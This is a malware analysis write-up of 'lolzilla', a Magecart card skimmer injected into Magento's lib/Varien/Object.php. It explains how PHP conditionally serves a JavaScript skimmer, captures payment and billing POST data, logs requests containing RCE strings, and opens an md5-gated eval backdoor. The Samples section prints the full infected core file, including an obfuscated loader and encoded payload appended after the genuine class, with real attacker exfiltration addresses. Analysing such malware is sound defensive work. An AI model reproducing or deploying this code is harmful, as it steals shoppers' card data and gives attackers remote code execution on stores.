lolzilla Skimmer: PHP or JS?

lolzilla (portzilla)⌗

lolzilla is an active Magecart skimmer that was found injected into a PHP core file on multiple infected Magento websites in-the-wild.

Injected core file: ./lib/Varien/Object.php

PHP or JavaScript? 🤔🤔⌗

lolzilla uses PHP code to analyze a victim’s HTTP request to the infected Magento website and determine whether it should deploy a JavaScript skimmer to be able to capture the victim’s payment data.

    try {
        if ($_SERVER["REQUEST_METHOD"] === "GET") {
            if (strpos($_SERVER["REQUEST_URI"], "checkout") !== false) {
                if (!isset($_COOKIE["adminhtml"])) {
                    echo file_get_contents(
                        base64_decode(
                            "aHR0cDovLzQ1LjE5Ny4xNDEuMjUwL2h1MzQ1Ymh1dWZkNzNmc2R5OHc0LnBocD9zdGF0cz01YzNhNzcwYWUzMTNmMmFiMTM4MDZiNGUzMTQ3ZGU3NQ=="
                            // "http://45.197.141.250/hu345bhuufd73fsdy8w4.php?stats=5c3a770ae313f2ab13806b4e3147de75"
                        )
                    );
                }
            }
        }

JavaScript Skimmer⌗

The above PHP code has three conditional checks that need to be met in the victim’s HTTP request before it will proceed with deploying the JavaScript skimmer. These conditional checks are broken down below:

        if ($_SERVER["REQUEST_METHOD"] === "GET") {

HTTP request method must be GET

            if (strpos($_SERVER["REQUEST_URI"], "checkout") !== false) {

HTTP request URL must contain the text “checkout”, indicating victim is on the checkout page

                if (!isset($_COOKIE["adminhtml"])) {

HTTP request cannot contain the Magento cookie adminhtml, which is stored in the browser used by the Magento admin user

These checks help to prevent the skimmer from being deployed for requests made from the browser of the owner of the infected store and used targets requests that are GET, which have no available POST data fields to be captured by the PHP skimmer.

The JavaScript skimmer is then printed onto the checkout page by PHP using echo on the contents of file_get_contents, which sends a GET request to a base64 encoded URL.

                    echo file_get_contents(
                        base64_decode(
                            "aHR0cDovLzQ1LjE5Ny4xNDEuMjUwL2h1MzQ1Ymh1dWZkNzNmc2R5OHc0LnBocD9zdGF0cz01YzNhNzcwYWUzMTNmMmFiMTM4MDZiNGUzMTQ3ZGU3NQ=="
                            // "http://45.197.141.250/hu345bhuufd73fsdy8w4.php?stats=5c3a770ae313f2ab13806b4e3147de75"
                        )
                    );

PHP Skimmer⌗

The PHP skimmer is used on POST requests to capture the data fields containing the payment details - payment and billing: e,g

billing[email]:derp@protonmail.com|billing[create_account]:1|billing[firstname]:Joa|billing[lastname]:Cao|billing[telephone]:(43) 14567-8900|billing[postcode]:22210030|billing[street][]:Praia do Flamengo, 268 - Flamengo|billing[street][2]:22210-030|billing[street][4]:RJ|billing[city]:Rio de Janeiro|payment[ps_cc_owner]:Jao Cao|payment[ps_cc_owner_birthday_day]:01|payment[ps_cc_owner_birthday_month]:01|payment[ps_cc_owner_birthday_year]:1994|payment[rm_pagseguro_cc_cpf]:Joa Cao|payment[ps_cc_number]:4012888888881881|payment[ps_cc_cid]:123|billing[tipopessoa]:3|billing[day]:01|billing[month]:01|billing[year]:1994|billing[gender]:1|billing[region_id]:502|billing[country_id]:BR|payment[pagseguropro_tef_bank]:BANCO_BRASIL|payment[ps_cc_exp_month]:4|payment[ps_cc_exp_year]:2024|payment[ps_cc_installments]:1|2370|

This captured payment data is then obfuscated and exfiltrated from the infected web server to a third party server 45.197.141.250 controlled by the attacker.

    if (isset($_POST['payment']) && isset($_POST['billing'])) {
        $z =
            bin2hex(json_encode($_POST['payment'])) .
            bin2hex(json_encode($_POST['billing']));
        sansons(
            'statistics_hash',
            base64_encode(
                '{"referer":"' .
                    $_SERVER["HTTP_HOST"] .
                    '","stats":"' .
                    $z .
                    '","tag":"a181a603769c1f98ad927e7367c7aa51"}'
            ),
            "aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9zdGF0eXN0aWNzLnBocA=="
            // "https://45.197.141.250/statystics.php"
        );
    }

Skimmer Fingerprints & Logs Attempted RCE Exploits 👮‍🤣⌗

Another cool feature of the lolzilla skimmer is that it fingerprints and exfiltrates the data from POST requests that contain PHP RCE related strings.

Let’s take a closer look at the PHP code that handles this feature:

    $arr = ['eval\(', 'exec\(', 't_contents\(', 'select.+from.+where', 'update.+set.+where', 'insert.+into.+values', 'wget', 'delete.+from.+where', 'fwrite\(', 'exit\(', 'system\(', 'die\(', '\.\.\/', 'passthru\(', 'popen\(', '\<\?p', 'admin_user', 'base64_decode\(', 'copy\(', 'move_uploaded_file\(', 'extract\(', 'assert\(', 'unhex\('];

    $writetext = "POST: " . json_encode($_POST) . "--" . "COOKIE: " . json_encode($_COOKIE) . "--URL: " . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "--HOST: " . $_SERVER['HTTP_HOST'] . "--IP:" . $_SERVER['REMOTE_ADDR'];

    foreach ($arr as $value) {
        if (preg_match("/" . $value . "/i", $writetext)) {
            $array = ['osl' => base64_encode($writetext)];
            $gine = "aHR0cHM6Ly8xMDMuMTM5LjExMy4zNC9vc3ItMy4wLnBocA==";
            // $gine = "https://103.139.113.34/osr-3.0.php"
            $url = base64_decode($gine);
            $ch = curl_init($url);
            ...

The first line is creating the variable $arr which itself contains an array. The array consists of suspicious PHP functions that could be used to run arbitrary code that was included in the submitted POST request that should only contain the payment data.

The second line sets up the variable $writetext, which gathers up the $_POST data and the COOKIE data from the “victim’s” submitted request.

A foreach function is then created for the values containing the suspicious functions in the $arr array, which is used as part of a preg_match string search against the $writetext POST data.

Essentially it scans the submitted POST data for the suspicious code functions it has defined, and if it detects one in the submitted POST data then the data will be base64_encoded and exfiltrated to a server 103.139.113.34 that is separate from the other exfiltration server 45.197.141.250.

Here is an example of the exfiltrated decoded fingerprinted data from the suspicious POST request, note the eval I included in the end of the POST data:

POST: {"payment":{"method":"rm_pagseguro_cc","ps_cc_owner":"","ps_cc_owner_birthday_day":"","ps_cc_owner_birthday_month":"","ps_cc_owner_birthday_year":"","ps_cc_owner_birthday_dob":"","rm_pagseguro_cc_cpf":"","ps_cc_number":"","ps_cc_exp_month":"","ps_cc_exp_year":"","ps_cc_cid":"","ps_cc_installments":"1|2370 eval("}}--COOKIE: {"frontend":"7avhrsetqdehvgd5in63gm2og5","frontend_cid":"ycMMQRBI59ZuY6ia","ves_added_cart":"0"}--URL: localhost/magento/onestepcheckout/index/--HOST: localhost--IP:::1

lolzilla Backdoor⌗

There is a backdoor in the PHP skimmer that activates after it has confirmed the value for the lolzilla POST field matches the hardcoded md5 hash of 37fe3f433e28b0838fdec5be54204c88.

    if (
        isset($_POST['lolzilla']) &&
        md5($_POST['lolzilla']) === '37fe3f433e28b0838fdec5be54204c88'
    ) {
        eval($_POST['g']);
    }

After the lolzilla condition is met, the backdoor then uses eval to run any PHP code passed to it in the g POST data field.

Samples⌗

Deobfuscated PHP lolzilla Skimmer Version 1:

php ./lib/Varien/Object.php


<?php
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category   Varien
 * @package    Varien_Object
 * @copyright  Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 */


/**
 * Varien Object
 *
 * @category   Varien
 * @package    Varien_Object
 * @author      Magento Core Team <core@magentocommerce.com>
 */
class Varien_Object implements ArrayAccess
{

    /**
     * Object attributes
     *
     * @var array
     */
    protected $_data = array();

    /**
     * Data changes flag (true after setData|unsetData call)
     * @var $_hasDataChange bool
     */
    protected $_hasDataChanges = false;

    /**
    * Original data that was loaded
    *
    * @var array
    */
    protected $_origData;

    /**
     * Name of object id field
     *
     * @var string
     */
    protected $_idFieldName = null;

    /**
     * Setter/Getter underscore transformation cache
     *
     * @var array
     */
    protected static $_underscoreCache = array();

    /**
     * Object delete flag
     *
     * @var boolean
     */
    protected $_isDeleted = false;

    /**
     * Map short fields names to its full names
     *
     * @var array
     */
    protected $_oldFieldsMap = array();

    /**
     * Map of fields to sync to other fields upon changing their data
     */
    protected $_syncFieldsMap = array();

    /**
     * Constructor
     *
     * By default is looking for first argument as array and assignes it as object attributes
     * This behaviour may change in child classes
     *
     */
    public function __construct()
    {
        $this->_initOldFieldsMap();
        if ($this->_oldFieldsMap) {
            $this->_prepareSyncFieldsMap();
        }

        $args = func_get_args();
        if (empty($args[0])) {
            $args[0] = array();
        }
        $this->_data = $args[0];
        $this->_addFullNames();

        $this->_construct();
    }

    protected function _addFullNames()
    {
        $existedShortKeys = array_intersect($this->_syncFieldsMap, array_keys($this->_data));
        if (!empty($existedShortKeys)) {
            foreach ($existedShortKeys as $key) {
                $fullFieldName = array_search($key, $this->_syncFieldsMap);
                $this->_data[$fullFieldName] = $this->_data[$key];
            }
        }
    }

    /**
     * Inits mapping array of object's previously used fields to new fields.
     * Must be overloaded by descendants to set concrete fields map.
     *
     * @return Varien_Object
     */
    protected function _initOldFieldsMap()
    {

    }

    /**
     * Called after old fields are inited. Forms synchronization map to sync old fields and new fields
     * between each other.
     *
     * @return Varien_Object
     */
    protected function _prepareSyncFieldsMap()
    {
        $old2New = $this->_oldFieldsMap;
        $new2Old = array_flip($this->_oldFieldsMap);
        $this->_syncFieldsMap = array_merge($old2New, $new2Old);
        return $this;
    }

    /**
     * Internal constructor not depended on params. Can be used for object initialization
     */
    protected function _construct()
    {
    }

    /**
     * Set _isDeleted flag value (if $isDeleted param is defined) and return current flag value
     *
     * @param boolean $isDeleted
     * @return boolean
     */
    public function isDeleted($isDeleted=null)
    {
        $result = $this->_isDeleted;
        if (!is_null($isDeleted)) {
            $this->_isDeleted = $isDeleted;
        }
        return $result;
    }

    /**
     * Get data change status
     *
     * @return bool
     */
    public function hasDataChanges()
    {
        return $this->_hasDataChanges;
    }

    /**
     * set name of object id field
     *
     * @param   string $name
     * @return  Varien_Object
     */
    public function setIdFieldName($name)
    {
        $this->_idFieldName = $name;
        return $this;
    }

    /**
     * Retrieve name of object id field
     *
     * @param   string $name
     * @return  Varien_Object
     */
    public function getIdFieldName()
    {
        return $this->_idFieldName;
    }

    /**
     * Retrieve object id
     *
     * @return mixed
     */
    public function getId()
    {
        if ($this->getIdFieldName()) {
            return $this->_getData($this->getIdFieldName());
        }
        return $this->_getData('id');
    }

    /**
     * Set object id field value
     *
     * @param   mixed $value
     * @return  Varien_Object
     */
    public function setId($value)
    {
        if ($this->getIdFieldName()) {
            $this->setData($this->getIdFieldName(), $value);
        } else {
            $this->setData('id', $value);
        }
        return $this;
    }

    /**
     * Add data to the object.
     *
     * Retains previous data in the object.
     *
     * @param array $arr
     * @return Varien_Object
     */
    public function addData(array $arr)
    {
        foreach($arr as $index=>$value) {
            $this->setData($index, $value);
        }
        return $this;
    }

    /**
     * Overwrite data in the object.
     *
     * $key can be string or array.
     * If $key is string, the attribute value will be overwritten by $value
     *
     * If $key is an array, it will overwrite all the data in the object.
     *
     * @param string|array $key
     * @param mixed $value
     * @return Varien_Object
     */
    public function setData($key, $value=null)
    {
        $this->_hasDataChanges = true;
        if(is_array($key)) {
            $this->_data = $key;
            $this->_addFullNames();
        } else {
            $this->_data[$key] = $value;
            if (isset($this->_syncFieldsMap[$key])) {
                $fullFieldName = $this->_syncFieldsMap[$key];
                $this->_data[$fullFieldName] = $value;
            }
        }
        return $this;
    }

    /**
     * Unset data from the object.
     *
     * $key can be a string only. Array will be ignored.
     *
     * @param string $key
     * @return Varien_Object
     */
    public function unsetData($key=null)
    {
        $this->_hasDataChanges = true;
        if (is_null($key)) {
            $this->_data = array();
        } else {
            unset($this->_data[$key]);
            if (isset($this->_syncFieldsMap[$key])) {
                $fullFieldName = $this->_syncFieldsMap[$key];
                unset($this->_data[$fullFieldName]);
            }
        }
        return $this;
    }

    /**
     * Unset old fields data from the object.
     *
     * $key can be a string only. Array will be ignored.
     *
     * @param string $key
     * @return Varien_Object
     */
    public function unsetOldData($key=null)
    {
        if (is_null($key)) {
            foreach ($this->_oldFieldsMap as $key => $newFieldName) {
                unset($this->_data[$key]);
            }
        } else {
            unset($this->_data[$key]);
        }
        return $this;
    }

    /**
     * Retrieves data from the object
     *
     * If $key is empty will return all the data as an array
     * Otherwise it will return value of the attribute specified by $key
     *
     * If $index is specified it will assume that attribute data is an array
     * and retrieve corresponding member.
     *
     * @param string $key
     * @param string|int $index
     * @return mixed
     */
    public function getData($key='', $index=null)
    {
        if (''===$key) {
            return $this->_data;
        }

        $default = null;

        // accept a/b/c as ['a']['b']['c']
        if (strpos($key,'/')) {
            $keyArr = explode('/', $key);
            $data = $this->_data;
            foreach ($keyArr as $i=>$k) {
                if ($k==='') {
                    return $default;
                }
                if (is_array($data)) {
                    if (!isset($data[$k])) {
                        return $default;
                    }
                    $data = $data[$k];
                } elseif ($data instanceof Varien_Object) {
                    $data = $data->getData($k);
                } else {
                    return $default;
                }
            }
            return $data;
        }

        // legacy functionality for $index
        if (isset($this->_data[$key])) {
            if (is_null($index)) {
                return $this->_data[$key];
            }

            $value = $this->_data[$key];
            if (is_array($value)) {
                //if (isset($value[$index]) && (!empty($value[$index]) || strlen($value[$index]) > 0)) {
                /**
                 * If we have any data, even if it empty - we should use it, anyway
                 */
                if (isset($value[$index])) {
                    return $value[$index];
                }
                return null;
            } elseif (is_string($value)) {
                $arr = explode("\n", $value);
                return (isset($arr[$index]) && (!empty($arr[$index]) || strlen($arr[$index]) > 0))
                    ? $arr[$index] : null;
            } elseif ($value instanceof Varien_Object) {
                return $value->getData($index);
            }
            return $default;
        }
        return $default;
    }

    /**
     * Get value from _data array without parse key
     *
     * @param   string $key
     * @return  mixed
     */
    protected function _getData($key)
    {
        return isset($this->_data[$key]) ? $this->_data[$key] : null;
    }

    /**
     * Set object data with calling setter method
     *
     * @param string $key
     * @param mixed $args
     * @return Varien_Object
     */
    public function setDataUsingMethod($key, $args=array())
    {
        $method = 'set'.$this->_camelize($key);
        $this->$method($args);
        return $this;
    }

    /**
     * Get object data by key with calling getter method
     *
     * @param string $key
     * @param mixed $args
     * @return mixed
     */
    public function getDataUsingMethod($key, $args=null)
    {
        $method = 'get'.$this->_camelize($key);
        return $this->$method($args);
    }

    /**
     * Fast get data or set default if value is not available
     *
     * @param string $key
     * @param mixed $default
     * @return mixed
     */
    public function getDataSetDefault($key, $default)
    {
        if (!isset($this->_data[$key])) {
            $this->_data[$key] = $default;
        }
        return $this->_data[$key];
    }

    /**
     * If $key is empty, checks whether there's any data in the object
     * Otherwise checks if the specified attribute is set.
     *
     * @param string $key
     * @return boolean
     */
    public function hasData($key='')
    {
        if (empty($key) || !is_string($key)) {
            return !empty($this->_data);
        }
        return array_key_exists($key, $this->_data);
    }

    /**
     * Convert object attributes to array
     *
     * @param  array $arrAttributes array of required attributes
     * @return array
     */
    public function __toArray(array $arrAttributes = array())
    {
        if (empty($arrAttributes)) {
            return $this->_data;
        }

        $arrRes = array();
        foreach ($arrAttributes as $attribute) {
            if (isset($this->_data[$attribute])) {
                $arrRes[$attribute] = $this->_data[$attribute];
            }
            else {
                $arrRes[$attribute] = null;
            }
        }
        return $arrRes;
    }

    /**
     * Public wrapper for __toArray
     *
     * @param array $arrAttributes
     * @return array
     */
    public function toArray(array $arrAttributes = array())
    {
        return $this->__toArray($arrAttributes);
    }

    /**
     * Set required array elements
     *
     * @param   array $arr
     * @param   array $elements
     * @return  array
     */
    protected function _prepareArray(&$arr, array $elements=array())
    {
        foreach ($elements as $element) {
            if (!isset($arr[$element])) {
                $arr[$element] = null;
            }
        }
        return $arr;
    }

    /**
     * Convert object attributes to XML
     *
     * @param  array $arrAttributes array of required attributes
     * @param string $rootName name of the root element
     * @return string
     */
    protected function __toXml(array $arrAttributes = array(), $rootName = 'item', $addOpenTag=false, $addCdata=true)
    {
        $xml = '';
        if ($addOpenTag) {
            $xml.= '<?xml version="1.0" encoding="UTF-8"?>'."\n";
        }
        if (!empty($rootName)) {
            $xml.= '<'.$rootName.'>'."\n";
        }
        $xmlModel = new Varien_Simplexml_Element('<node></node>');
        $arrData = $this->toArray($arrAttributes);
        foreach ($arrData as $fieldName => $fieldValue) {
            if ($addCdata === true) {
                $fieldValue = "<![CDATA[$fieldValue]]>";
            } else {
                $fieldValue = $xmlModel->xmlentities($fieldValue);
            }
            $xml.= "<$fieldName>$fieldValue</$fieldName>"."\n";
        }
        if (!empty($rootName)) {
            $xml.= '</'.$rootName.'>'."\n";
        }
        return $xml;
    }

    /**
     * Public wrapper for __toXml
     *
     * @param array $arrAttributes
     * @param string $rootName
     * @return string
     */
    public function toXml(array $arrAttributes = array(), $rootName = 'item', $addOpenTag=false, $addCdata=true)
    {
        return $this->__toXml($arrAttributes, $rootName, $addOpenTag, $addCdata);
    }

    /**
     * Convert object attributes to JSON
     *
     * @param  array $arrAttributes array of required attributes
     * @return string
     */
    protected function __toJson(array $arrAttributes = array())
    {
        $arrData = $this->toArray($arrAttributes);
        $json = Zend_Json::encode($arrData);
        return $json;
    }

    /**
     * Public wrapper for __toJson
     *
     * @param array $arrAttributes
     * @return string
     */
    public function toJson(array $arrAttributes = array())
    {
        return $this->__toJson($arrAttributes);
    }

    /**
     * Convert object attributes to string
     *
     * @param  array  $arrAttributes array of required attributes
     * @param  string $valueSeparator
     * @return string
     */
//    public function __toString(array $arrAttributes = array(), $valueSeparator=',')
//    {
//        $arrData = $this->toArray($arrAttributes);
//        return implode($valueSeparator, $arrData);
//    }

    /**
     * Public wrapper for __toString
     *
     * Will use $format as an template and substitute {{key}} for attributes
     *
     * @param string $format
     * @return string
     */
    public function toString($format='')
    {
        if (empty($format)) {
            $str = implode(', ', $this->getData());
        } else {
            preg_match_all('/\{\{([a-z0-9_]+)\}\}/is', $format, $matches);
            foreach ($matches[1] as $var) {
                $format = str_replace('{{'.$var.'}}', $this->getData($var), $format);
            }
            $str = $format;
        }
        return $str;
    }

    /**
     * Set/Get attribute wrapper
     *
     * @param   string $method
     * @param   array $args
     * @return  mixed
     */
    public function __call($method, $args)
    {
        switch (substr($method, 0, 3)) {
            case 'get' :
                //Varien_Profiler::start('GETTER: '.get_class($this).'::'.$method);
                $key = $this->_underscore(substr($method,3));
                $data = $this->getData($key, isset($args[0]) ? $args[0] : null);
                //Varien_Profiler::stop('GETTER: '.get_class($this).'::'.$method);
                return $data;

            case 'set' :
                //Varien_Profiler::start('SETTER: '.get_class($this).'::'.$method);
                $key = $this->_underscore(substr($method,3));
                $result = $this->setData($key, isset($args[0]) ? $args[0] : null);
                //Varien_Profiler::stop('SETTER: '.get_class($this).'::'.$method);
                return $result;

            case 'uns' :
                //Varien_Profiler::start('UNS: '.get_class($this).'::'.$method);
                $key = $this->_underscore(substr($method,3));
                $result = $this->unsetData($key);
                //Varien_Profiler::stop('UNS: '.get_class($this).'::'.$method);
                return $result;

            case 'has' :
                //Varien_Profiler::start('HAS: '.get_class($this).'::'.$method);
                $key = $this->_underscore(substr($method,3));
                //Varien_Profiler::stop('HAS: '.get_class($this).'::'.$method);
                return isset($this->_data[$key]);
        }
        throw new Varien_Exception("Invalid method ".get_class($this)."::".$method."(".print_r($args,1).")");
    }

    /**
     * Attribute getter (deprecated)
     *
     * @param string $var
     * @return mixed
     */

    public function __get($var)
    {
        $var = $this->_underscore($var);
        return $this->getData($var);
    }

    /**
     * Attribute setter (deprecated)
     *
     * @param string $var
     * @param mixed $value
     */
    public function __set($var, $value)
    {
        $var = $this->_underscore($var);
        $this->setData($var, $value);
    }

    /**
     * checks whether the object is empty
     *
     * @return boolean
     */
    public function isEmpty()
    {
        if (empty($this->_data)) {
            return true;
        }
        return false;
    }

    /**
     * Converts field names for setters and geters
     *
     * $this->setMyField($value) === $this->setData('my_field', $value)
     * Uses cache to eliminate unneccessary preg_replace
     *
     * @param string $name
     * @return string
     */
    protected function _underscore($name)
    {
        if (isset(self::$_underscoreCache[$name])) {
            return self::$_underscoreCache[$name];
        }
        #Varien_Profiler::start('underscore');
        $result = strtolower(preg_replace('/(.)([A-Z])/', "$1_$2", $name));
        #Varien_Profiler::stop('underscore');
        self::$_underscoreCache[$name] = $result;
        return $result;
    }

    protected function _camelize($name)
    {
        return uc_words($name, '');
    }

    /**
     * serialize object attributes
     *
     * @param   array $attributes
     * @param   string $valueSeparator
     * @param   string $fieldSeparator
     * @param   string $quote
     * @return  string
     */
    public function serialize($attributes = array(), $valueSeparator='=', $fieldSeparator=' ', $quote='"')
    {
        $res  = '';
        $data = array();
        if (empty($attributes)) {
            $attributes = array_keys($this->_data);
        }

        foreach ($this->_data as $key => $value) {
            if (in_array($key, $attributes)) {
                $data[] = $key . $valueSeparator . $quote . $value . $quote;
            }
        }
        $res = implode($fieldSeparator, $data);
        return $res;
    }

    /**
     * Get object loaded data (original data)
     *
     * @param string $key
     * @return mixed
     */
    public function getOrigData($key=null)
    {
        if (is_null($key)) {
            return $this->_origData;
        }
        return isset($this->_origData[$key]) ? $this->_origData[$key] : null;
    }

    /**
     * Initialize object original data
     *
     * @param string $key
     * @param mixed $data
     * @return Varien_Object
     */
    public function setOrigData($key=null, $data=null)
    {
        if (is_null($key)) {
            $this->_origData = $this->_data;
        } else {
            $this->_origData[$key] = $data;
        }
        return $this;
    }

    /**
     * Compare object data with original data
     *
     * @param string $field
     * @return boolean
     */
    public function dataHasChangedFor($field)
    {
        $newData = $this->getData($field);
        $origData = $this->getOrigData($field);
        return $newData!=$origData;
    }

    /**
     * Clears data changes status
     *
     * @param boolean $value
     * @return Varien_Object
     */
    public function setDataChanges($value)
    {
        $this->_hasDataChanges = (bool)$value;
        return $this;
    }

    /**
     * Present object data as string in debug mode
     *
     * @param mixed $data
     * @param array $objects
     * @return string
     */
    public function debug($data=null, &$objects=array())
    {
        if (is_null($data)) {
            $hash = spl_object_hash($this);
            if (!empty($objects[$hash])) {
                return '*** RECURSION ***';
            }
            $objects[$hash] = true;
            $data = $this->getData();
        }
        $debug = array();
        foreach ($data as $key=>$value) {
            if (is_scalar($value)) {
                $debug[$key] = $value;
            } elseif (is_array($value)) {
                $debug[$key] = $this->debug($value, $objects);
            } elseif ($value instanceof Varien_Object) {
                $debug[$key.' ('.get_class($value).')'] = $value->debug(null, $objects);
            }
        }
        return $debug;
    }

    /**
     * Implementation of ArrayAccess::offsetSet()
     *
     * @link http://www.php.net/manual/en/arrayaccess.offsetset.php
     * @param string $offset
     * @param mixed $value
     */
    public function offsetSet($offset, $value)
    {
        $this->_data[$offset] = $value;
    }

    /**
     * Implementation of ArrayAccess::offsetExists()
     *
     * @link http://www.php.net/manual/en/arrayaccess.offsetexists.php
     * @param string $offset
     * @return boolean
     */
    public function offsetExists($offset)
    {
        return isset($this->_data[$offset]);
    }

    /**
     * Implementation of ArrayAccess::offsetUnset()
     *
     * @link http://www.php.net/manual/en/arrayaccess.offsetunset.php
     * @param string $offset
     */
    public function offsetUnset($offset)
    {
        unset($this->_data[$offset]);
    }

    /**
     * Implementation of ArrayAccess::offsetGet()
     *
     * @link http://www.php.net/manual/en/arrayaccess.offsetget.php
     * @param string $offset
     * @return mixed
     */
    public function offsetGet($offset)
    {
        return isset($this->_data[$offset]) ? $this->_data[$offset] : null;
    }


    /**
     * Enter description here...
     *
     * @param string $field
     * @return boolean
     */
    public function isDirty($field=null)
    {
        if (empty($this->_dirty)) {
            return false;
        }
        if (is_null($field)) {
            return true;
        }
        return isset($this->_dirty[$field]);
    }

    /**
     * Enter description here...
     *
     * @param string $field
     * @param boolean $flag
     * @return Varien_Object
     */
    public function flagDirty($field, $flag=true)
    {
        if (is_null($field)) {
            foreach ($this->getData() as $field=>$value) {
                $this->flagDirty($field, $flag);
            }
        } else {
            if ($flag) {
                $this->_dirty[$field] = true;
            } else {
                unset($this->_dirty[$field]);
            }
        }
        return $this;
    }
}

    try{

        function pallete($col){
            $string="";
            for ($i=0; $i < strlen($col)-1; $i+=2){
                $string .= chr(hexdec($col[$i].$col[$i+1]));
            }
            return $string;
        }

        $mage_red=pallete("737472726576");
        $mage_color=pallete($mage_red("472756373716"));
        $mage_css=pallete($mage_red("5646F6365646F5436356371626"));
        $mage_style=pallete($mage_red("C6166756"));

        $mage_black="gACIgoQf7BSKlRCIu9Wa0BXZjhXRoACajRXYjBSfgACIgogC9tTKi8iIsADMwYzMtkCKl1Wa0xiIxICLi4WZr9Gd19lIoUWar92bjRXZztjIi0TXi4WZr9Gd19lIbVUSL90TD9FJ7lSKdJiblt2b0V3XisVRJt0TPN0XkgCdlN3cphiZpBCIgACIgACIK03OpIyLiwCMwAjNz0SKoUWbpRHLiEjIsISY0FGZfdmbpxGbpJ2XfJCKll2av92Y0V2c7IiI90lIhRXYk91ZulGbslmYf9lIbVUSL90TD9FJ7lSKdJSY0FGZfdmbpxGbpJ2XfJyWFl0SP90QfRCK0V2czlGKmlGIgACIgACIgowOpkSXicmIbVUSL90TD9FJoUGZvNWZkxmc1hCbhZXZpIiY1EGO3IzMkZWM5IjMldTMiJDM5ITZ0EDM3UGMkZGZzISP90TKdJSYsxWa6x2bsJyWFl0SP90QfRCK1QWbgYiJgkSXiEGbslmes9GbisVRJt0TPN0XkgCdlN3cphiZpBCIgACIgACIKsTKdJyZisFVT9EUfRCKsFmdlliIiVTY4cjMzQmZxkjMyU2NxImMwkjMlRTMwcTZwQmZkNjI90TPp0lIhxGbppHbvxmIbR1UPB1XkgSNk1GImYCIp0lIhxGbppHbvxmIbR1UPB1XkgCdlN3cphiZpBCIgACIgACIK0HIgACIgACIgoQfgACIgACIgACIgACIKsTKi8iIsADMwYzMtkCKl1Wa0xiIxICLi4WZr9Gdt9lIoUWar92bjRXZzBCIgACIgACIgACIgACIgAiC7kiIvICLwADM2MzKpgSZtlGdsISMiwiIp5mZfJCKll2av92Y0V2cgACIgACIgACIgACIgACIgowOpISP9E0YvJkbMpnTXFGMOhVZwY0RkpXOD1UMJpGT4FFVNV3YU9Ee0MlTwgTeMZTTINGMShUYiwSKi03JxUTYhdzY3YzM3U2NykDZhhTOmFzY5YzNzAjNhFDOxE2J6cyZhR3JsciIuEGdhR2XyV2c1RiLiciOnMHdhR3cnwyJi4SXiQ1UPh0XQRFVIJyWSVkVSV0UfRiLiciOnIXZyVmZlJ3J7JCKlR2bj5WZfRjNlNXYixiIoNXYo9lblt2b0JCKz5WYzBCIgACIgACIgACIgACIgAiC7kSXi4WZr9Gdt9lIbVUSL90TD9FJuIyOi4Ca0FGckgCelhmMulmY9EGdhR2XyV2c1RCIgACIgACIgACIgACIgACIKsTKz9GckwCMsgGdhBHJoIHdzJWdz1Da0FGckACIgACIgACIgACIgACIgAiC7lycvBHJoYWagACIgACIgACIgACIKsTKi8iclRmcv91clxWYz9iIsgGdhBHJoM3bwJHdz1zcvBHJpM3bwRSIoYWagACIgACIgACIgACIKsTKikXZr9CelRmbp9CZyF2bih2chR2LiwCa0FGckgycvBnc0NXPz9GckACIgACIgACIgACIgowOdJSSSV1XUNVRVFVRSJyWSVkVSV0UfRSPoRXYwRCIgACIgACIgACIgAiC7lSKp0lIp5mZfJyWFl0SP90QfRCK0V2czlWIoYiJp0lIs1Gdo5WatRWYisVRJt0TPN0XkgCdlN3cpZiJp0lIuV2avRXbfJyWFl0SP90QfRCK0V2czlGKmlGIgACIgACIgoQfgACIgACIgAiC7kiIvICLwADM2MTLpgSZtlGdsISMiwiIp5mZfJCKll2av92Y0V2cgACIgACIgACIgACIKsXKpkSXikmbm9lIbVUSL90TD9FJoQXZzNXaoYiJp0lIuV2avRXbfJyWFl0SP90QfRCK0V2czlWIoYWagACIgACIgAiC9BCIgACIgACIKsTKi8iIsADMwYzMtkCKl1Wa0xiIxICLiEGbslme0J3bwJCKll2av92Y0V2c7IiI90lIhxGbppHdy9GcisVRJt0TPN0XkACIgACIgACIgACIgACIgAiC7kiI90TQj9mQuxkeOdVYw4EWlBjRHRme5MUTxkkaMhXUU1UdjR1T4RzUOBDO5xkNNh0YwIFShJCLpISfnETNhF2NjdjNzcTZ3ITOkFGO5YWMjljN3MDM2EWM4ETYnozJnFGdnwyJi4SY0FGZfJXZzVHJuIyJ6cyc0FGdzdCLnIiLdJCVT9ESfBFVUhkIbJVRWJVRT9FJuIyJ6ciclJXZmVmcnsnIoUGZvNmbl9FN2U2chJGLig2chh2XuV2avRnIoMnbhNHIgACIgACIgACIgACIgACIKsTKdJiblt2b012XisVRJt0TPN0Xk4iI7IiLdJSSSV1XUNVRVFVRSJyWSVkVSV0UfRCK4VGay4Wai1TY0FGZfJXZzVHJgACIgACIgACIgACIgACIgowOp0lIhxGbppHdy9GcisVRJt0TPN0Xk4iIgIiLiEGbslme0J3bwJCK4VGay4Wai1TXi4WZr9Gdt9lIbVUSL90TD9FJgACIgACIgACIgACIgACIgowOpIyLiwCMwAjNzsSKoUWbpRHLp0lIhxGbppHdy9GcisVRJt0TPN0Xk4iIgIiLiEGbslme0J3bwJCK4VGay4WaixiIuV2avRXbfJCKll2av92Y0V2cgACIgACIgACIgACIgACIgowepkSXiEGbslme0J3bwJyWFl0SP90QfRCK0V2czlGKmlGIgACIgACIgoQfgACIgACIgAiC7kSXiQmcvd3czFGcisVXi4Wan9GbisFVT9EUfRiLiAiIu0lIl1WYuJXZzVnIb1lIul2ZvxmIbR1UPB1XkgCelhmMulmY90lIuV2avRXbfJyWFl0SP90QfRCIgACIgACIgACIgACIgACIKsTKi8iIsADMwYzMrkCKl1Wa0xSKdJCZy92dzNXYwJyWdJibpd2bsJyWUN1TQ9FJuICIi4SXiUWbh5mclNXdisVXi4Wan9GbisFV